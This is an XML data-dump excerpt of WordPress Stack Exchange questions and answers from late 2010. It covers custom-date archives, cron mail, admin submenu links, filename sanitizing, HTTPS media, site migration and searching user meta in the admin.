  <row Id="5800" PostTypeId="1" AcceptedAnswerId="5827" CreationDate="2010-12-22T18:55:49.487" Score="0" ViewCount="560" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's Note:&lt;/strong&gt; The original title was &quot;using archive by date with a custom date&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm adding an additional date to posts as a custom field. Now I want the archive to show posts by the custom date and not by the published date. For example&#xA;I've got a post published today &lt;em&gt;(22nd December)&lt;/em&gt; but the custom date is set to &lt;em&gt;1st January&lt;/em&gt;. When I load the URL &lt;code&gt;archives/date/2011/01&lt;/code&gt; in the browser the posts with the custom date that match are not displayed &lt;em&gt;(obviously).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to modify the behavior of page generated for the &lt;code&gt;archives/date/2011/01&lt;/code&gt; URL in order to retrive the posts by the custom date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-24T03:02:35.390" LastActivityDate="2011-07-01T02:53:59.483" Title="Archive Listings Filtered by Date Values in a Custom Field/Post Meta?" Tags="&lt;3.0&gt;&lt;archive&gt;&lt;wp-query&gt;&lt;pre-get-posts&gt;" AnswerCount="4" />
  <row Id="5801" PostTypeId="1" CreationDate="2010-12-22T18:55:53.910" Score="0" ViewCount="140" Body="&lt;p&gt;Hey, So I've been trying to execute the mail php function and wp_mail function in a PHP function in wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The php Function is called by a cron hook... The problem is, it doesn't execute the mail or wp_mail function at all... I even threw it inside another function which I know works perfectly, and again, the cron doesn't execute the mail command. It works outside the function and it works if I call the function manually (myfunction();) but when cron calls it, it doesnt work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any light? wp 2.9&lt;/p&gt;&#xA;" LastActivityDate="2010-12-23T04:35:29.680" Title="Mail through Cron Execution, does not work!" Tags="&lt;email&gt;&lt;cron&gt;" AnswerCount="2" />
  <row Id="5802" PostTypeId="2" ParentId="5795" CreationDate="2010-12-22T19:02:48.217" Score="0" ViewCount="" Body="&lt;p&gt;I ran across this plugin the other day.&#xA;&lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to set the privileges for pretty much every aspect of wordpress.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2010-12-22T19:02:48.217" />
  <row Id="5803" PostTypeId="1" AcceptedAnswerId="5804" CreationDate="2010-12-22T19:28:40.773" Score="4" ViewCount="159" Body="&lt;p&gt;So i'm trying to create a WordPress plugin and I've created some menu pages using this provided function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page('my_plugin_menu', 'Edit record page', 'Edit record page', 'manage_options', 'edit_record_page', array(&amp;amp;$this, 'display_edit_record_page');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I go to the page I notice on the address bar on the browser it reads something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomain.com/wp/wp-admin/admin.php?page=edit_record_page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to be able to link this page but I find I have to hardcode the link for lack of a better way of doing it and I'm working on a dev site. So I was wondering how I could dynamically generate the link I saw on my browser so that when I copy this plugin code onto the production server it will work. Namely, is there a WordPress function that will generate the link portion of the submenu page create.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;page=edit_record_page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, if I want to append query strings to the to the link is it as simple as adding it manually like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomain.com/wp/wp-admin/admin.php?page=edit_record_page&amp;amp;rec_id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or is there an appropriate WordPress function for doing that too?&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2010-12-22T19:44:13.107" Title="On the WordPress Admin section how do I link to submenu pages created for a plugin?" Tags="&lt;plugin-development&gt;&lt;links&gt;&lt;tags&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5804" PostTypeId="2" ParentId="5803" CreationDate="2010-12-22T19:43:13.513" Score="7" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$url = admin_url('admin.php?page=edit_record_page');&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$url_with_qv = add_query_arg('rec_id', '1', $url);&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-22T19:43:13.513" />
  <row Id="5805" PostTypeId="2" ParentId="5803" CreationDate="2010-12-22T19:44:13.107" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;admin.php?page=edit_record_page&quot;&amp;gt;Link Text&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;admin.php?page=edit_record_page&amp;amp;rec_id=1&quot;&amp;gt;Link Text&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-22T19:44:13.107" />
  <row Id="5806" PostTypeId="1" CreationDate="2010-12-22T19:56:25.980" Score="2" ViewCount="334" Body="&lt;p&gt;I'm looking for a way to sanitize the filename of user uploaded attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that wordpress already did it but I faced preblems after an user uploaded an attachment containing a '°' . That way the attachment is not downloadable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out this wp function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sanitize_file_name($filename)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there a way to use it inside the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_attachment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;action?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="2038" LastEditorDisplayName="" LastEditDate="2011-03-18T12:25:12.143" LastActivityDate="2011-03-18T15:13:16.273" Title="sanitize attachment filename" Tags="&lt;3.0&gt;&lt;attachments&gt;&lt;filesystem&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" />
  <row Id="5807" PostTypeId="1" AcceptedAnswerId="5810" CreationDate="2010-12-22T20:02:52.200" Score="1" ViewCount="119" Body="&lt;p&gt;I have a site with FORCE_SSL_ADMIN turned on. When I'm editing a post with an embedded image, or when I'm viewing images through the media library, they are loaded using the http:// protocol rather than https. This causes a mixed-content warning in IE, which clients kind of freak out about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a recommended approach for finding/replacing these non-secure image URLs while viewing them through the admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frontend loads over regular http, so I don't want to do any replacing in the DB that will force images to load over https outside of the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figure this has to be a common problem, so I'd appreciate any advice, even if it's &quot;you can't do that&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-22T22:10:46.093" Title="How to get the post editor and media library to respect HTTPS administration mode?" Tags="&lt;wp-admin&gt;&lt;media-library&gt;&lt;ssl&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" />
  <row Id="5808" PostTypeId="2" ParentId="5748" CreationDate="2010-12-22T20:16:06.243" Score="3" ViewCount="" Body="&lt;p&gt;The data you're looking at is not JSON formatted. JSON doesn't (normally) store value types and lengths like that. What you're looking at is SERIALIZED data. A google search for &quot;mysql replace serialized&quot; yields this page, which might help: &lt;a href=&quot;http://davidcoveney.com/mysql-database-search-replace-with-serialized-php/&quot; rel=&quot;nofollow&quot;&gt;http://davidcoveney.com/mysql-database-search-replace-with-serialized-php/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-22T20:16:06.243" CommentCount="1" />
  <row Id="5809" PostTypeId="2" ParentId="5801" CreationDate="2010-12-22T20:34:19.303" Score="1" ViewCount="" Body="&lt;p&gt;I'd say the first thing to check is whether or not the cron is actually running properly. Whenever I have issues like this, it's usually with the cron run itself, not with the code it's calling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove all of the code inside your hooked function and replace it with a single line that sets an option--something named &quot;my_cron_last_ran&quot; or whatever--and set the option's value to the current time. If the option doesn't appear in your wp_options table, the cron hasn't run properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other troubleshooting thing I'd try is to remove everything but the mail stuff from your hooked function. If it runs and sends mail, then the issue could be that code BEFORE your mail stuff is erroring out and causing the whole thing to fail.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-22T20:34:19.303" />
  <row Id="5810" PostTypeId="2" ParentId="5807" CreationDate="2010-12-22T22:10:46.093" Score="0" ViewCount="" Body="&lt;p&gt;You can't right now. This needs to be fixed in wordpress core. Probably this can be temporarily circumvented for a fraction of the problems with a plugin, but it's much more valuable to invest the time developing something in an actual fix of wordpress.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-22T22:10:46.093" CommentCount="1" />
  <row Id="5811" PostTypeId="1" AcceptedAnswerId="5816" CreationDate="2010-12-22T22:14:13.143" Score="1" ViewCount="663" Body="&lt;p&gt;The search form at the top of the users listing in the Admin area (wp-admin/users.php) is limited and does not search all of the user meta fields, such as bio, instant messenger handles, etc. I've not been able to find a plugin that can add this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of a plugin or a function I could create that could expand this search for all the date in the _usermeta DB -- ideally even extra fields create by a plugin or function.&lt;/p&gt;&#xA;" OwnerUserId="2041" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-23T00:22:54.903" LastActivityDate="2010-12-24T00:29:28.807" Title="How to search all user meta from users.php in the admin" Tags="&lt;plugin-recommendation&gt;&lt;wp-admin&gt;&lt;users&gt;&lt;search&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="5812" PostTypeId="2" ParentId="5806" CreationDate="2010-12-22T23:18:17.743" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Following on from question comments.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run a filter on &lt;code&gt;sanitize_file_name_chars&lt;/code&gt; and add the degree symbol to the array of invalid chars, but it won't halt the upload it will simply strip the file extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can add another filter stop the upload, in a hacky kind of way by additionally hooking on the &lt;code&gt;sanitize_file_name&lt;/code&gt; filter which occurs shortly after the one above, there you see if a file extension is present, if not you know there was a hit in the invalid chars array and you can &lt;code&gt;die()&lt;/code&gt; inside the filter, which will cause the upload process to return a HTTP error(which is better then just silently dieing i guess).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'sanitize_file_name_chars', 'restrict_filename_chars' );&#xA;&#xA;function restrict_filename_chars( $special_chars ) {&#xA;    $special_chars = array_merge( array( '°' ), $special_chars );&#xA;    return $special_chars;&#xA;}&#xA;&#xA;add_filter( 'sanitize_file_name', 'die_on_no_ext' );&#xA;&#xA;function die_on_no_ext( $filename ) {&#xA;    global $parts;&#xA;    if( $parts &amp;lt; 2 )&#xA;        die(-1);&#xA;    return $filename;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not an ideal solution mind you, and we'll see what happens with the ticket(i might just be missing something, i'm no expert on file validation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The filter only ensures the actual file name does not contain the degree symbol, not the &quot;post name&quot; (ie. the title of the attachment), you'll need another filter to deal with sanitizing the attachments title, as this is handled by different functions and filters.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-27T12:54:01.600" LastActivityDate="2010-12-27T12:54:01.600" CommentCount="5" />
  <row Id="5813" PostTypeId="2" ParentId="5780" CreationDate="2010-12-23T00:42:31.487" Score="1" ViewCount="" Body="&lt;p&gt;There is no &lt;code&gt;__callStatic&lt;/code&gt; magic function in PHP &amp;lt; 5.3. As so, it can not be identified as callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As WordPress does not validate prior to invoke a callback with filters and hooks, you get the PHP warning because running on PHP &amp;lt; 5.3 it is not a valid callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the design of your callbacks to be non-static and make use of the &lt;code&gt;__call&lt;/code&gt; magic function which is &lt;a href=&quot;http://www.php.net/manual/en/language.oop5.overloading.php#language.oop5.overloading.methods&quot; rel=&quot;nofollow&quot;&gt;available&lt;/a&gt; with earlier PHP 5 versions if you're looking for a similar feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But sticking to PHP 5.3 is not that bad.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-23T00:42:31.487" CommentCount="1" />
  <row Id="5814" PostTypeId="1" AcceptedAnswerId="5817" CreationDate="2010-12-23T01:09:38.020" Score="0" ViewCount="194" Body="&lt;p&gt;This is for a personal-use plugin I'm trying to make. I want to submit a comment from site A to my blog (sort of like sending trackbacks/pingbacks but a full comment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, on site A I have a form with a name, url, and comment field. The data I enter in site A, I want to submit to site B (my blog) via URL parameters or the POST method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that I'll need an action hook on my blog to retrieve data sent from site A and insert it in the wp comment table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2010-12-24T01:38:15.777" Title="Are there action hooks for comments?" Tags="&lt;plugins&gt;&lt;php&gt;&lt;functions&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5815" PostTypeId="2" ParentId="5748" CreationDate="2010-12-23T01:53:19.387" Score="0" ViewCount="" Body="&lt;p&gt;As Rarst said above there's only two settings in the database that NEEDS changing. After importing the database I log into PHPMyAdmin and edit the database direct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a development server on my PC all the time to import datafeeds and they have the URL attached to the Posts along the lines of &lt;a href=&quot;http://localhost/testsite/post-name/&quot; rel=&quot;nofollow&quot;&gt;http://localhost/testsite/post-name/&lt;/a&gt; and it's never caused a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to use an SQL search and replace until I realised it didn't matter. I've migrated a few sites from one domain to another and where I've had absolute URLs in the content I'll use the SQL search and replace option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update wp_posts set post_content = replace(post_content,'http://www.olddomain/','http://www.newdomain/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2010-12-23T01:53:19.387" CommentCount="1" />
  <row Id="5816" PostTypeId="2" ParentId="5811" CreationDate="2010-12-23T02:02:35.373" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@user2041:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly as you know you need to modify the search that's performed which you can do by modifying the values in the instance of the &lt;code&gt;WP_User_Search&lt;/code&gt; class used for the search &lt;em&gt;(you can find the source code at &lt;code&gt;/wp-admin/includes/user.php&lt;/code&gt; if you'd like to study it.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The &lt;code&gt;WP_User_Search&lt;/code&gt; Object&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's what a &lt;code&gt;print_r()&lt;/code&gt; of that object looks like with WordPress 3.0.3 when searching for the term &lt;em&gt;&quot;&lt;code&gt;TEST&lt;/code&gt;&quot;&lt;/em&gt; and without any other plugins that might affect it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WP_User_Search Object&#xA;(&#xA;  [results] =&amp;gt; &#xA;  [search_term] =&amp;gt; TEST&#xA;  [page] =&amp;gt; 1&#xA;  [role] =&amp;gt; &#xA;  [raw_page] =&amp;gt; &#xA;  [users_per_page] =&amp;gt; 50&#xA;  [first_user] =&amp;gt; 0&#xA;  [last_user] =&amp;gt; &#xA;  [query_limit] =&amp;gt;  LIMIT 0, 50&#xA;  [query_orderby] =&amp;gt;  ORDER BY user_login&#xA;  [query_from] =&amp;gt;  FROM wp_users&#xA;  [query_where] =&amp;gt;  WHERE 1=1 AND (user_login LIKE '%TEST%' OR user_nicename LIKE '%TEST%' OR user_email LIKE '%TEST%' OR user_url LIKE '%TEST%' OR display_name LIKE '%TEST%')&#xA;  [total_users_for_query] =&amp;gt; 0&#xA;  [too_many_total_users] =&amp;gt; &#xA;  [search_errors] =&amp;gt; &#xA;  [paging_text] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;The &lt;code&gt;pre_user_search&lt;/code&gt; Hook&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To modify the values of the &lt;code&gt;WP_User_Search&lt;/code&gt; object you'll use the &lt;code&gt;'pre_user_search'&lt;/code&gt; hook which receives the current instance of the object; I called &lt;code&gt;print_r()&lt;/code&gt; from within that hook to get access to its values which I displayed above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following example which you can copy to your theme's &lt;code&gt;functions.php&lt;/code&gt; file or you can use in a PHP file for a plugin you are writing adds the ability to &lt;strong&gt;search on the user's description&lt;/strong&gt; in addition to being able to search on the other fields. The function modifies the &lt;code&gt;query_from&lt;/code&gt; and the &lt;code&gt;query_where&lt;/code&gt; properties of the &lt;code&gt;$user_search&lt;/code&gt; object which you need to be comfortable with SQL to understand. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Careful Modifying SQL in Hooks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The code in the &lt;code&gt;yoursite_pre_user_search()&lt;/code&gt; function assumes that no other plugin has modified the &lt;code&gt;query_where&lt;/code&gt; clause prior to it; if another plugin has modified the where clause such that replacing &lt;code&gt;'WHERE 1=1 AND ('&lt;/code&gt; with &lt;code&gt;&quot;WHERE 1=1 AND ({$description_where} OR&quot;&lt;/code&gt; no longer works then this will break too. It's much harder to write a robust addition that cannot be broken by another plugin when modifying SQL like this, but it is what it is.   &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Add Leading and Trailing Spaces when Inserting SQL in Hooks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Also note that when using SQL like this in WordPress it's always a good idea to include leading and trailing spaces such a with &lt;code&gt;&quot; INNER JOIN {$wpdb-&amp;gt;usermeta} ON &quot;&lt;/code&gt; otherwise your SQL query might contain the following where there is no space before &lt;code&gt;&quot;INNER&quot;&lt;/code&gt;, which would of course fail: &lt;code&gt;&quot; FROM wp_postsINNER JOIN {$wpdb-&amp;gt;usermeta} ON &quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use &lt;code&gt;&quot;{$wpdb-&amp;gt;table_name&quot;}&lt;/code&gt; instead of Hardcoding Table Names&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Next be sure to always using the &lt;code&gt;$wpdb&lt;/code&gt; properties to reference table names in case the site has changed the table prefix from &lt;code&gt;'wp_'&lt;/code&gt; to something else. Thus it is better to refer to &lt;code&gt;&quot;{$wpdb-&amp;gt;users}.ID&quot;&lt;/code&gt; &lt;em&gt;(with double quotes, not single ones)&lt;/em&gt; instead of hardcoding &lt;code&gt;&quot;wp_users.ID&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Limit the Query to Only When Search Terms Exist&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Lastly be to only modify the query when there is a search term which you can test by inspecting &lt;code&gt;search_term&lt;/code&gt; property of the &lt;code&gt;WP_User_Search&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The &lt;code&gt;yoursite_pre_user_search()&lt;/code&gt; Function for &lt;code&gt;'pre_user_search'&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_user_search','yoursite_pre_user_search');&#xA;function yoursite_pre_user_search($user_search) {&#xA;  global $wpdb;&#xA;  if (!is_null($user_search-&amp;gt;search_term)) {&#xA;    $user_search-&amp;gt;query_from .= &quot; INNER JOIN {$wpdb-&amp;gt;usermeta} ON &quot; . &#xA;      &quot;{$wpdb-&amp;gt;users}.ID={$wpdb-&amp;gt;usermeta}.user_id AND &quot; .&#xA;      &quot;{$wpdb-&amp;gt;usermeta}.meta_key='description' &quot;;&#xA;    $description_where = $wpdb-&amp;gt;prepare(&quot;{$wpdb-&amp;gt;usermeta}.meta_value LIKE '%s'&quot;,&#xA;      &quot;%{$user_search-&amp;gt;search_term}%&quot;);&#xA;    $user_search-&amp;gt;query_where = str_replace('WHERE 1=1 AND (',&#xA;      &quot;WHERE 1=1 AND ({$description_where} OR &quot;,$user_search-&amp;gt;query_where);    &#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Searching Each Meta Key-Value Pair Requires a SQL &lt;code&gt;JOIN&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Of course the likely reason WordPress doesn't let you search on usermeta fields is that each one adds a SQL &lt;code&gt;JOIN&lt;/code&gt; to the query and to a query with too many joins can be slow indeed. If you really need to search on many fields then I'd create a &lt;code&gt;'_search_cache'&lt;/code&gt; field in usermeta that collects all the other information into one usermeta field to require only one join to search it all.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Leading Underscores in Meta Keys tell WordPress Not to Display&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Note that leading underscore in &lt;code&gt;'_search_cache'&lt;/code&gt; tells WordPress that this is an internal value and not something to ever display to the user.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Create a Search Cache with the &lt;code&gt;'profile_update'&lt;/code&gt; and &lt;code&gt;'user_register'&lt;/code&gt; Hooks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So you'll need to hook both &lt;code&gt;'profile_update'&lt;/code&gt; and &lt;code&gt;'user_register'&lt;/code&gt; that are triggered on saving a user and registering a new user, respectively. You can grab all the meta keys and their values in those hooks &lt;em&gt;(but omit those with values that are serialized or URL encoded arrays)&lt;/em&gt; and then concatenate them to store as one long meta value using the &lt;code&gt;'_search_cache'&lt;/code&gt; key. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Store Meta as &lt;code&gt;'|'&lt;/code&gt; Delimited Key-Value Pairs&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I decided to grab all the key names and all their values and concatenate them into one big string with colons (&quot;:&quot;) separating the keys from the values and vertical bars (&quot;|&quot;) separating the key-value pairs like this &lt;em&gt;(I've wrapped them across multiple lines so you can them without scrolled to the right):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nickname:mikeschinkel|first_name:mikeschinkel|description:This is my bio|&#xA;rich_editing:true|comment_shortcuts:false|admin_color:fresh|use_ssl:null|&#xA;wp_user_level:10|last_activity:2010-07-28 01:25:46|screen_layout_dashboard:2|&#xA;plugins_last_view:recent|screen_layout_post:2|screen_layout_page:2|&#xA;business_name:NewClarity LLC|business_description:WordPress Plugin Consulting|&#xA;phone:null|last_name:null|aim:null|yim:null|jabber:null|&#xA;people_lists_linkedin_url:null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Enables Specialized Searches on Meta Using &lt;code&gt;key:value&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Adding the key and values as we did  allows you to do searches like &quot;&lt;code&gt;rich_editing:true&lt;/code&gt;&quot; to find everyone who has rich editing, or search for &quot;&lt;code&gt;phone:null&lt;/code&gt;&quot; to find those with no phone number. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;But Beware of Search Artifacts&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Of course using this technique creates possibly unwanted search artifacts such as search for &lt;em&gt;&quot;business&quot;&lt;/em&gt; and everyone will be listed. If this a problem then you might not want to use such a elaborate cache.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The &lt;code&gt;yoursite_profile_update()&lt;/code&gt; Function for &lt;code&gt;'profile_update'&lt;/code&gt; and &lt;code&gt;'user_register'&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For function &lt;code&gt;yoursite_profile_update()&lt;/code&gt;, like &lt;code&gt;yoursite_pre_user_search()&lt;/code&gt; above can be copied to your theme's &lt;code&gt;functions.php&lt;/code&gt; file or you can use in a PHP file for a plugin you are writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('profile_update','yoursite_profile_update');&#xA;add_action('user_register','yoursite_profile_update');&#xA;function yoursite_profile_update($user_id) {&#xA;  $metavalues = get_user_metavalues(array($user_id));&#xA;  $skip_keys = array(&#xA;    'wp_user-settings-time',&#xA;    'nav_menu_recently_edited',&#xA;    'wp_dashboard_quick_press_last_post_id',&#xA;  );&#xA;  foreach($metavalues[$user_id] as $index =&amp;gt; $meta) {&#xA;    if (preg_match('#^a:[0-9]+:{.*}$#ms',$meta-&amp;gt;meta_value))&#xA;      unset($metavalues[$index]); // Remove any serialized arrays&#xA;    else if (preg_match_all('#[^=]+=[^&amp;amp;]\&amp;amp;#',&quot;{$meta-&amp;gt;meta_value}&amp;amp;&quot;,$m)&amp;gt;0)&#xA;      unset($metavalues[$index]); // Remove any URL encoded arrays&#xA;    else if (in_array($meta-&amp;gt;meta_key,$skip_keys))&#xA;      unset($metavalues[$index]); // Skip and uninteresting keys&#xA;    else if (empty($meta-&amp;gt;meta_value)) // Allow searching for empty&#xA;      $metavalues[$index] = &quot;{$meta-&amp;gt;meta_key }:null&quot;;&#xA;    else if ($meta-&amp;gt;meta_key!='_search_cache') // Allow searching for everything else&#xA;      $metavalues[$index] = &quot;{$meta-&amp;gt;meta_key }:{$meta-&amp;gt;meta_value}&quot;;&#xA;  }&#xA;  $search_cache = implode('|',$metavalues);&#xA;  update_user_meta($user_id,'_search_cache',$search_cache);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Updated &lt;code&gt;yoursite_pre_user_search()&lt;/code&gt; Function enabling a Single SQL &lt;code&gt;JOIN&lt;/code&gt; for Searching All Interesting Meta Values&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Of course for &lt;code&gt;yoursite_profile_update()&lt;/code&gt; to have any effect you'll need to modify &lt;code&gt;yoursite_pre_user_search()&lt;/code&gt; to use the &lt;code&gt;'_search_cache'&lt;/code&gt; meta key instead of the description, which we have here &lt;em&gt;(with the same caveats as mentioned above):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_user_search','yoursite_pre_user_search');&#xA;function yoursite_pre_user_search($user_search) {&#xA;  global $wpdb;&#xA;  if (!is_null($user_search-&amp;gt;search_term)) {&#xA;    $user_search-&amp;gt;query_from .= &quot; INNER JOIN {$wpdb-&amp;gt;usermeta} ON &quot; . &#xA;      &quot;{$wpdb-&amp;gt;users}.ID={$wpdb-&amp;gt;usermeta}.user_id AND &quot; . &#xA;      &quot;{$wpdb-&amp;gt;usermeta}.meta_key='_search_cache' &quot;;&#xA;    $meta_where = $wpdb-&amp;gt;prepare(&quot;{$wpdb-&amp;gt;usermeta}.meta_value LIKE '%s'&quot;,&#xA;      &quot;%{$user_search-&amp;gt;search_term}%&quot;);&#xA;    $user_search-&amp;gt;query_where = str_replace('WHERE 1=1 AND (',&#xA;      &quot;WHERE 1=1 AND ({$meta_where} OR &quot;,$user_search-&amp;gt;query_where);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-24T00:29:28.807" LastActivityDate="2010-12-24T00:29:28.807" CommentCount="8" />
